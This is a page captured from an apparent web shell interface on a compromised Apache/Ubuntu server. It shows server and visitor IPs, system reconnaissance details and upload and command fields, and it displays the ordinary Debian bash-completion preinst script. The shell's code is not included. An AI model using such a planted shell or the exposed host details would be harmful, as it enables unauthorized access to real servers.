403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.211
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/bash-completion.preinst
#!/bin/sh

set -e

case "$1" in
    install|upgrade)
        if [ -e /usr/share/doc/bash/completion-contrib ]; then
            rm -rf /usr/share/doc/bash/completion-contrib
        fi
        # let's remove old bash-completion conffiles
        for f in $(dpkg-query -W -f='${Conffiles}\n' bash-completion | grep bash_completion.d | cut -d\  -f2); do
            dpkg-maintscript-helper rm_conffile $f 1:1.3-1 -- "$@"
        done
        if dpkg --compare-versions "$2" lt-nl 1:2.0-1 &&
           dpkg --compare-versions "$2" ge 1:1.99-2 &&
           [ -L /etc/bash_completion ] &&
           [ "$(readlink /etc/bash_completion)" = \
             /usr/share/bash-completion/bash_completion ]; then
            rm -f /etc/bash_completion
        fi
    ;;

    abort-upgrade)
    ;;

    *)
        echo "preinst called with unknown argument \`$1'" >&2
        exit 1
    ;;
esac



exit 0



Youez - 2016 - github.com/yon3zu
LinuXploit